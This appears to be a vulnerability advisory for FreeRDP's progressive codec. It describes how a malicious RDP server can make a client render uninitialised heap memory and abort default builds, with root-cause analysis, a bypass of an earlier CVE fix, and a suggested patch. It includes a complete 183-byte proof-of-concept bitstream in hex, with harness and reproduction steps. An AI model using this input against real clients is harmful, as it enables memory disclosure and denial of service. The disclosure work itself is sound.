FreeRDP: uninitialised heap from an un-decoded progressive tile is rendered to the client's screen, and the default build aborts
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
FreeRDP — Uninitialised heap memory rendered to the screen by the progressive codec's tile-upgrade path (bypasses the CVE-2026-33983 fix)
Summary
RFX_PROGRESSIVE_TILE::current — the 24 KiB per-tile buffer that holds the accumulated wavelet coefficients of a progressive tile — is allocated with winpr_aligned_malloc() and is never zeroed. The progressive tile-upgrade path unconditionally copies all 4096 coefficients out of that buffer into the decode buffer (memcpy(buffer, current, 8192) in progressive_rfx_dwt_2d_decode() with reverse = TRUE), runs the inverse DWT and the YCbCr→RGB conversion on them, and writes the result into the surface that is painted on the user's screen.
Nothing in the decoder requires that a tile has previously been decoded successfully before an upgrade pass is accepted for it. A malicious RDP server can therefore make a connecting FreeRDP client render 8 KiB of uninitialised heap memory per tile per component as pixels, at a rate it fully controls.
The fix for CVE-2026-33983 (commit 78188ab, released in 3.24.2) made progressive_rfx_quant_sub() fail on an underflow, which incidentally rejects the simplest form of this — a lone WBT_TILE_UPGRADE against a completely fresh tile, whose tile->yBitPos is still 0. That guard is bypassed by first sending a WBT_TILE_FIRST block that is *accepted and then fails during decode*: tile->yBitPos/cbBitPos/crBitPos are assigned before the component decode runs, so the tile is left with valid bit positions and an untouched current buffer. An upgrade block in a second region of the same frame then passes the guard and reads the uninitialised buffer.
On a build with WITH_VERBOSE_WINPR_ASSERT at its CMake default of ON, the uninitialised coefficients additionally overflow INT16 inside the inverse DWT and trip WINPR_ASSERT in rfx_dwt.c, which calls winpr_int_assert() and aborts the process — so on a default build the same input is a reliable remote client crash rather than only an information leak.
Affected Component
FreeRDP/FreeRDP, C. Audited commit 66d3438f0efe463390539cf53ffef20c4891105d (master, 2026-09-21, reported version 3.31.2). The same code is present in the latest release, 3.31.1.
libfreerdp/codec/progressive.c:374-387—progressive_tile_new():
tile->sign and tile->current allocated with winpr_aligned_malloc(), left uninitialised.
libfreerdp/codec/progressive.c:1340-1531—
progressive_decompress_tile_upgrade(): no check that the tile has ever been decoded (tile->pass, or a successful WBT_TILE_FIRST).
libfreerdp/codec/progressive.c:819-830—progressive_rfx_dwt_2d_decode():
memcpy(buffer, current, bsize) on the reverse = TRUE path.
libfreerdp/codec/progressive.c:1024-1035, 1059-1070—
progressive_decompress_tile_first(): tile->yBitPos etc. are written before progressive_rfx_decode_component() can fail, which is what makes the bypass possible.
- Reached from
libfreerdp/gdi/gfx.c:1127(gdi_SurfaceCommand_Progressive),
dispatched at libfreerdp/gdi/gfx.c:1225, entered from channels/rdpgfx/client/rdpgfx_main.c (rdpgfx_recv_wire_to_surface_1_pdu → rdpgfx_decode).
Vulnerability Type
- CWE-908 (Use of Uninitialized Resource) leading to CWE-200 (Exposure of
Sensitive Information to an Unauthorized Actor) — heap contents of the client process are rendered into the displayed framebuffer.
- CWE-617 (Reachable Assertion) as a secondary effect on builds with
WITH_VERBOSE_WINPR_ASSERT=ON (the CMake default).
Root Cause
The per-tile accumulation buffers are allocated but not initialised:
/* libfreerdp/codec/progressive.c:356-394 */
static inline RFX_PROGRESSIVE_TILE* progressive_tile_new(void)
{
RFX_PROGRESSIVE_TILE* tile = winpr_aligned_calloc(1, sizeof(RFX_PROGRESSIVE_TILE), 32);
...
{
const size_t signLen = (8192ULL + 32ULL) * 3ULL;
tile->sign = (BYTE*)winpr_aligned_malloc(signLen, 16); /* not zeroed */
}
...
{
const size_t currentLen = (8192ULL + 32ULL) * 3ULL;
tile->current = (BYTE*)winpr_aligned_malloc(currentLen, 16); /* not zeroed */
}The upgrade path reads the whole buffer regardless of how many bits the upgrade actually carries. progressive_rfx_upgrade_component() finishes with:
/* libfreerdp/codec/progressive.c:1336 */ return progressive_rfx_dwt_2d_decode(progressive, buffer, current, coeffDiff, extrapolate, TRUE);
and with reverse = TRUE that function unconditionally copies current into the working buffer:
/* libfreerdp/codec/progressive.c:819-830 */ const uint32_t belements = 4096; const uint32_t bsize = belements * sizeof(INT16); if (reverse) memcpy(buffer, current, bsize);
buffer is then inverse-transformed and converted straight into tile->data:
/* libfreerdp/codec/progressive.c:1523-1527 */
{
const INT16** ptr = WINPR_REINTERPRET_CAST(pSrcDst, INT16**, const INT16**);
status = prims->yCbCrToRGB_16s8u_P3AC4R(ptr, 64 * 2, tile->data, tile->stride,
progressive->format, &roi_64x64);
}and update_tiles() copies tile->data into the surface that the client paints. So every byte of tile->current for all three components — 3 × 8192 bytes per tile — reaches the screen.
Nothing sequences the upgrade against a prior successful decode. The tile block dispatcher accepts any block type in any order:
/* libfreerdp/codec/progressive.c:1745-1768 */
switch (blockType)
{
case PROGRESSIVE_WBT_TILE_SIMPLE: ...
case PROGRESSIVE_WBT_TILE_FIRST: ...
case PROGRESSIVE_WBT_TILE_UPGRADE:
if (!progressive_tile_read_upgrade(progressive, s, blockType, blockLen, surface,
region, context))
return -1032;
break;and progressive_decompress_tile_upgrade() validates the quantisation indices and the quality index but never tile->pass.
Why the CVE-2026-33983 fix does not cover this
Commit 78188ab ("[codec,progressive] Fail progressive_rfx_quant_sub on invalid values") turned progressive_rfx_quant_sub() into a checked operation:
/* libfreerdp/codec/progressive.c:1451-1456 */ if (!progressive_rfx_quant_sub(&(tile->yBitPos), &yBitPos, &yNumBits)) goto fail;
For a never-touched tile, tile->yBitPos is all zeros while yBitPos is at least 6 in every band (region quant values are range-checked to 6…15), so the subtraction fails and the tile is rejected. That is confirmed by the control input in the evidence directory: upgrade_only.bin produces an identical output hash under every heap fill byte.
progressive_decompress_tile_first(), however, assigns the bit positions *before* it can fail:
/* libfreerdp/codec/progressive.c:1024-1035 */ progressive_rfx_quant_add(quantY, quantProgY, &(tile->yBitPos)); progressive_rfx_quant_add(quantCb, quantProgCb, &(tile->cbBitPos)); progressive_rfx_quant_add(quantCr, quantProgCr, &(tile->crBitPos)); ... /* libfreerdp/codec/progressive.c:1059-1062 */ rc = progressive_rfx_decode_component(progressive, &shiftY, tile->yData, tile->yLen, pSrcDst[0], pCurrent[0], pSign[0], diff, sub, extrapolate); /* Y */ if (rc < 0) goto fail;
A WBT_TILE_FIRST block with yLen = 0 reaches rfx_rlgr_decode(), which returns -1 on !SrcSize (libfreerdp/codec/rfx_rlgr.c:187). The component decode aborts, so tile->current is never written — but tile->yBitPos and friends are already set to the region's quant values. A later upgrade block that repeats the same quant values then satisfies the guard with every numBits == 0, skips all the SRL/RAW reads, and falls straight through to the memcpy above.
Proof of Concept
gen_progressive_uninit.py (in the evidence directory) emits a 183-byte RFX_PROGRESSIVE_CODEC bitstream — the payload of a single RDPGFX_WIRE_TO_SURFACE_PDU_1 with codecId = RDPGFX_CODECID_CAPROGRESSIVE:
WBT_SYNC magic 0xCACCACCA, version 0x0100
WBT_CONTEXT ctxId 0, tileSize 64, flags 0x01 (RFX_SUBBAND_DIFFING)
WBT_FRAME_BEGIN frameIndex 0, regionCount 2
WBT_REGION numRects 1 (0,0,64,64), numQuant 1 (all bands = 6),
numProgQuant 1 (quality 0, all bands = 0), numTiles 1
WBT_TILE_FIRST quantIdx 0/0/0, xIdx 0, yIdx 0, flags 0, quality 0,
yLen 0, cbLen 0, crLen 0, tailLen 0
WBT_REGION identical header
WBT_TILE_UPGRADE quantIdx 0/0/0, xIdx 0, yIdx 0, quality 0,
ySrlLen 0, yRawLen 0, cbSrlLen 0, cbRawLen 0,
crSrlLen 0, crRawLen 0
WBT_FRAME_ENDBytes:
00000000: c0cc 0c00 0000 caac ccca 0001 c3cc 0a00 00000010: 0000 0040 0001 c1cc 0c00 0000 0000 0000 00000020: 0200 c4cc 4600 0000 4001 0001 0100 0100 00000030: 1700 0000 0000 0000 4000 4000 6666 6666 00000040: 6600 0000 0000 0000 0000 0000 0000 0000 00000050: 00c6 cc17 0000 0000 0000 0000 0000 0000 00000060: 0000 0000 0000 0000 c4cc 4900 0000 4001 00000070: 0001 0100 0100 1a00 0000 0000 0000 4000 00000080: 4000 6666 6666 6600 0000 0000 0000 0000 00000090: 0000 0000 0000 00c7 cc1a 0000 0000 0000 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 000000b0: 00c2 cc06 0000 00
prog_harness.c drives the library exactly as gdi_SurfaceCommand_Progressive does: progressive_context_new(), progressive_create_surface_context(ctx, 0, 1024, 768), then progressive_decompress(ctx, data, len, dst, PIXEL_FORMAT_BGRX32, 4096, 0, 0, &invalidRegion, 0, 0). It prints the first 32 bytes and an FNV-1a hash of tile (0,0) of the decoded surface.
1. The rendered pixels are a function of heap content
Release build (CMAKE_BUILD_TYPE=Release, WITH_VERBOSE_WINPR_ASSERT=OFF). The *only* thing that changes between runs is the glibc heap fill byte:
$ MALLOC_PERTURB_=0 ./prog_harness progressive_uninit.bin progressive_decompress rc = 1 tile(0,0) hash = 8b5d632bd8ef8383 tile(0,0) first 32 bytes: 80 80 80 ff 80 80 80 ff 80 80 80 ff ... $ MALLOC_PERTURB_=170 ./prog_harness progressive_uninit.bin progressive_decompress rc = 1 tile(0,0) hash = c880a23630c8c942 tile(0,0) first 32 bytes: 00 93 00 ff ff 58 ff ff 00 93 00 ff ... $ MALLOC_PERTURB_=85 ./prog_harness progressive_uninit.bin progressive_decompress rc = 1 tile(0,0) hash = 9176355bce245825 tile(0,0) first 32 bytes: ff 6c ff ff 00 a7 00 ff ff 6c ff ff ... $ MALLOC_PERTURB_=204 ./prog_harness progressive_uninit.bin progressive_decompress rc = 1 tile(0,0) hash = 431c72b85989071f tile(0,0) first 32 bytes: 00 af 00 ff ff 00 ff ff ff 56 ff ff ... $ MALLOC_PERTURB_=17 ./prog_harness progressive_uninit.bin progressive_decompress rc = 1 tile(0,0) hash = e9683f6a816a611b tile(0,0) first 32 bytes: ff 70 ff ff ff 70 ff ff ff 70 ff ff ...
Note that progressive_decompress returns 1 in every case — from the library's point of view this is a perfectly successful decode, so no error path or log message fires.
2. Valgrind
==3819549== Use of uninitialised value of size 8 ==3819549== at 0x4CD890A: _itoa_word (_itoa.c:184) ... ==3819549== by 0x10947E: main (prog_harness.c:43) ==3819549== Uninitialised value was created by a heap allocation ==3819549== at 0x484CA49: posix_memalign (vg_replace_malloc.c:2226) ==3819549== by 0x4BC26C7: winpr_aligned_offset_malloc ==3819549== by 0x4B9AAD1: BufferPool_Take ==3819549== by 0x48CFBAF: progressive_process_tiles_tile_work_callback
(line 43 of the harness is the loop that prints the *decoded surface* bytes, so the taint has propagated all the way to the output pixels.)
3. Attribution and fix verification
Changing only tile->current to winpr_aligned_calloc() collapses the differential completely — every fill byte now yields hash 8b5d632bd8ef8383, the same value the unpatched build produces when the heap happens to be zero. Changing both tile->current and tile->sign also brings Valgrind to ERROR SUMMARY: 0 errors from 0 contexts.
4. Crash on a default build
With WITH_VERBOSE_WINPR_ASSERT at its CMake default of ON (cmake/CommonConfigOptions.cmake:15), the same input aborts the process:
[FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: (((var) == ((__typeof(var))(((INT16)((var))))))) [./libfreerdp/codec/rfx_dwt.c:rfx_dwt_2d_decode_block:71]
winpr_int_assert() is WINPR_NORETURN and calls abort(). Because real heaps are rarely all-zero, this is the outcome a real client will normally see: the uninitialised coefficients overflow INT16 during the inverse DWT and kill the process.
Reproducing
python3 gen_progressive_uninit.py progressive_uninit.bin
python3 gen_upgrade_only_control.py upgrade_only.bin
cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DWITH_VERBOSE_WINPR_ASSERT=OFF -DBUILD_SHARED_LIBS=ON \
-DWITH_SERVER=OFF -DWITH_CLIENT=OFF
cmake --build build --parallel
clang -g -O0 -std=gnu2x -D_GNU_SOURCE -o prog_harness prog_harness.c \
-Iinclude -Ibuild/include -Iwinpr/include -Ibuild/winpr/include \
-Lbuild/libfreerdp -Lbuild/winpr/libwinpr -lfreerdp3 -lwinpr3 \
-Wl,-rpath,$PWD/build/libfreerdp -Wl,-rpath,$PWD/build/winpr/libwinpr
for p in 0 170 85 204; do MALLOC_PERTURB_=$p ./prog_harness progressive_uninit.bin; done
valgrind --track-origins=yes ./prog_harness progressive_uninit.binReachability
Who can send this. Any RDP server the client connects to, and anything in a position to act as one — a hostile or compromised RDP host, an RD Gateway, or a man-in-the-middle on a connection where certificate verification has been relaxed. This is the standard malicious-server-against-client threat model FreeRDP treats as in scope, and it is the same path as CVE-2023-40569 (rdpgfx_recv_wire_to_surface_1_pdu → rdpgfx_decode → gdi_SurfaceCommand_Progressive → progressive_decompress).
Where in the connection. Post-authentication: the graphics pipeline dynamic virtual channel only opens after the RDP connection sequence completes. The attacker is the *server*, so from the attacker's side no credential is needed — the victim authenticates *to* the attacker. There is no further capability gate: checkSurfaceCommand() (channels/rdpgfx/client/rdpgfx_main.c:1509-1542) accepts RDPGFX_CODECID_CAPROGRESSIVE unconditionally, with no check that the client ever advertised progressive support in its RDPGFX_CAPS_ADVERTISE. So the decoder is reachable on *every* client with the rdpgfx channel open, not only on clients started with /gfx:progressive.
On by default. Yes. prepare_default_settings() (client/common/cmdline.c:2066) applies CONNECTION_TYPE_AUTODETECT whenever none of /network, /gfx, /rfx, /bpp were given, and freerdp_set_connection_type() (client/common/cmdline.c:1483-1495) sets FreeRDP_SupportGraphicsPipeline = TRUE for that connection type. A plain xfreerdp /v:host /u:user therefore opens the graphics pipeline and exposes this decoder.
Process model. The FreeRDP command-line clients are a single process. The decoded surface is the user's visible desktop, so the disclosed bytes are rendered on screen where they can be photographed or screen-scraped by the same server that sent the PDU (the server can read back nothing directly, but a leak into the framebuffer is observable to anyone with a view of the victim's screen, and to any screen-sharing or recording the victim is running; more importantly, the leaked values also feed the client's own subsequent encode/redirect paths). The process holds the connection's credentials and TLS state on the same heap. Tile buffers are 24 KiB posix_memalign allocations taken from the main arena at surface-creation time, i.e. after the connection sequence has allocated and freed credential, licensing, and TLS buffers. On builds with the default WITH_VERBOSE_WINPR_ASSERT=ON, the same input aborts the whole client, which for a single-process client is a complete session loss.
Documented exposure. No. FreeRDP's SECURITY.md documents a private reporting process and treats client-side decoder flaws reachable from a malicious server as vulnerabilities; several published FreeRDP advisories are exactly this shape, including two prior progressive-codec issues (CVE-2023-40569, CVE-2026-33983).
Scale of the leak. One 64×64 tile leaks 3 × 8192 bytes of the tile's current buffer per upgrade pass. A region may carry up to 65535 tiles and a frame may carry many regions, so the server chooses how much of the client's heap to render and can repeat it on every frame.
Areas Checked and Confirmed Clean
progressive_surface_tile_replace()(progressive.c:460-541) —zIdxis
bounds-checked against surface->tilesSize before indexing, and region->usedTiles against region->numTiles before appending.
update_tiles()(progressive.c:2337-2434) — the destination copy is
clipped to surface->width/surface->height (progressive.c:2405-2408) and intersected with the region's clipping rectangles, so a tile index beyond the surface grid cannot produce an out-of-bounds write.
progressive_wb_read_region_header()(progressive.c:2042-2128) — the
declared numRects/numQuant/numProgQuant/tileDataSize are each checked against the remaining stream length before use, and region->rects[], quantVals[], quantProgVals[], tiles[] are all sized to the full range of their wire-format index types.
progressive_process_tiles()(progressive.c:1702-1796) — per-block
blockLen is validated against the stream, the total is reconciled against tileDataSize, and the block count against numTiles.
- Quantisation index handling —
quantIdxY/Cb/Crandqualityare each
checked against numQuant/numProgQuant in both the first and the upgrade path.
- The
progressive_rfx_quant_sub()guard added by78188abdoes correctly
reject the naive lone-upgrade case; the control input upgrade_only.bin confirms it.
tile->signis a second uninitialised buffer of the same size. It is read
at progressive.c:1241-1257 on the non-LL bands, but only when numBits >= 1, which requires a prior successful decode that fills sign via CopyMemory(sign, buffer, 4096ULL * 2ULL) (progressive.c:876). I did not find a sequence that reads it uninitialised, but it should be zeroed along with current.
Fuzzing coverage
FreeRDP is on OSS-Fuzz and libfreerdp/codec/test/TestFuzzCodecs.c *does* exercise progressive_decompress (alongside clear, xcrush, zgfx, ncrush, rfx, mppc, interleaved and planar), with TestFuzzNSCodec.c covering NSC. The gap that leaves this bug alive is the sanitizer set: projects/freerdp/project.yaml lists sanitizers: address, undefined only. The OSS-Fuzz build.sh has a memory) SANITIZERS_ARGS="-DWITH_SANITIZE_MEMORY=ON" branch, but MemorySanitizer is not enabled for the project, so no uninitialised-memory bug in any FreeRDP codec can be found by the existing fuzzing. Enabling memory in project.yaml would be worth doing independently of this report.
Impact
A malicious RDP server can, against any FreeRDP 3 client using default settings:
- Cause up to 24 KiB of uninitialised process heap per tile to be
inverse-transformed and painted into the user's visible desktop, repeatedly and at a rate of the server's choosing. The client process heap at that point contains freed connection-setup buffers — credentials, licensing material and TLS state among them.
- On any build with
WITH_VERBOSE_WINPR_ASSERT=ON— the CMake default, and
what a distribution gets unless it explicitly turns it off — abort the client process outright with a single 183-byte PDU. The clients are single-process, so this terminates the session.
The input is accepted as a *successful* decode (progressive_decompress returns 1), so nothing in the client logs the event.
Suggested Fix
Zero the per-tile accumulation buffers. Tested: this removes the differential entirely and brings Valgrind to zero errors (see control-and-fix-verification.txt).
--- a/libfreerdp/codec/progressive.c
+++ b/libfreerdp/codec/progressive.c
@@ -373,7 +373,7 @@ static inline RFX_PROGRESSIVE_TILE* progressive_tile_new(void)
{
const size_t signLen = (8192ULL + 32ULL) * 3ULL;
- tile->sign = (BYTE*)winpr_aligned_malloc(signLen, 16);
+ tile->sign = (BYTE*)winpr_aligned_calloc(1, signLen, 16);
}
@@ -381,7 +381,7 @@ static inline RFX_PROGRESSIVE_TILE* progressive_tile_new(void)
{
const size_t currentLen = (8192ULL + 32ULL) * 3ULL;
- tile->current = (BYTE*)winpr_aligned_malloc(currentLen, 16);
+ tile->current = (BYTE*)winpr_aligned_calloc(1, currentLen, 16);
}Two further hardening steps are worth considering, because zeroing alone still lets a server drive the decoder from a state that never legitimately occurs:
- Reject a
WBT_TILE_UPGRADEfor a tile that has not been successfully
decoded — for example by only setting tile->pass = 1 at the *end* of progressive_decompress_tile_first() rather than at the start (progressive.c:956), and requiring tile->pass > 0 in progressive_decompress_tile_upgrade().
- Make
progressive_decompress_tile_first()leave no partial state behind on
failure: tile->yBitPos/cbBitPos/crBitPos and the quant fields are written at progressive.c:1017-1026 before the decode can fail, which is what makes the current bypass possible. Writing them only after all three components have decoded would close it.
The INT16 overflow in rfx_dwt_2d_decode_block() is arguably a third issue: an assertion is a poor guard for a value derived from decoded data, since it turns a range problem into a process abort on default builds. Clamping or returning an error would be preferable.
Duplicate Check
- All 100+ published
FreeRDP/FreeRDPGitHub Security Advisories were listed
and filtered for progress|uninit|tile|rfx|dwt. Four uninitialised-memory advisories exist — GHSA-r7jx-j9h7-j4xj (RDPGFX ResetGraphics), GHSA-v649-94v2-p72q (Save Session Info PDU), GHSA-hw7p-5h2r-83gq (urbdrc), GHSA-c45q-wcpg-mxjq (parallel port redirection) — none of them in the progressive codec.
- Two progressive-codec advisories exist:
GHSA-hm8c-rcjg-c8qp/
CVE-2023-40569 (out-of-bounds *write* via nXSrc/nYSrc in progressive_decompress, fixed in 2.11.0 / 3.0.0-beta3) and GHSA-4gfm-4p52-h478 / CVE-2026-33983 (quant BYTE underflow → shift UB and CPU DoS, fixed in 3.24.2 by commit 78188ab). Neither concerns uninitialised memory; I pulled the 78188ab diff and confirmed it only adds the progressive_rfx_quant_sub() return check, and demonstrated by control input that this report's sequence gets past it.
git log --grep=uninitial -iover the repository returns no commit touching
progressive.c.
tile->currentis stillwinpr_aligned_malloc()at tag 3.31.1 (the latest
release) and on master; at 3.24.1 the same line exists and the quant_sub guard is absent, so pre-3.24.2 releases are reachable by the simpler single-tile form.
- Local report set (
/work/bughunting/reports/) contains no FreeRDP report and
no progressive-codec report.
Disclosure Channel
Verified on 2026-09-21:
gh api repos/FreeRDP/FreeRDP/private-vulnerability-reporting→
{"enabled": true}.
gh api repos/FreeRDP/FreeRDP→archived: false,
pushed_at: 2026-09-21T09:28:13Z.
SECURITY.mdnames two channels: a GitHub Security Advisory at
https://github.com/FreeRDP/FreeRDP/security/advisories/new, or email to security@freerdp.com with an optional GPG key at https://pub.freerdp.com/FreeRDP-security-team.pub.asc. It asks explicitly that vulnerabilities not be filed as public issues.
- No repository-root
AGENTS.md.
Preferred channel: GitHub private security advisory on FreeRDP/FreeRDP.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c<= 3.31.1GitHub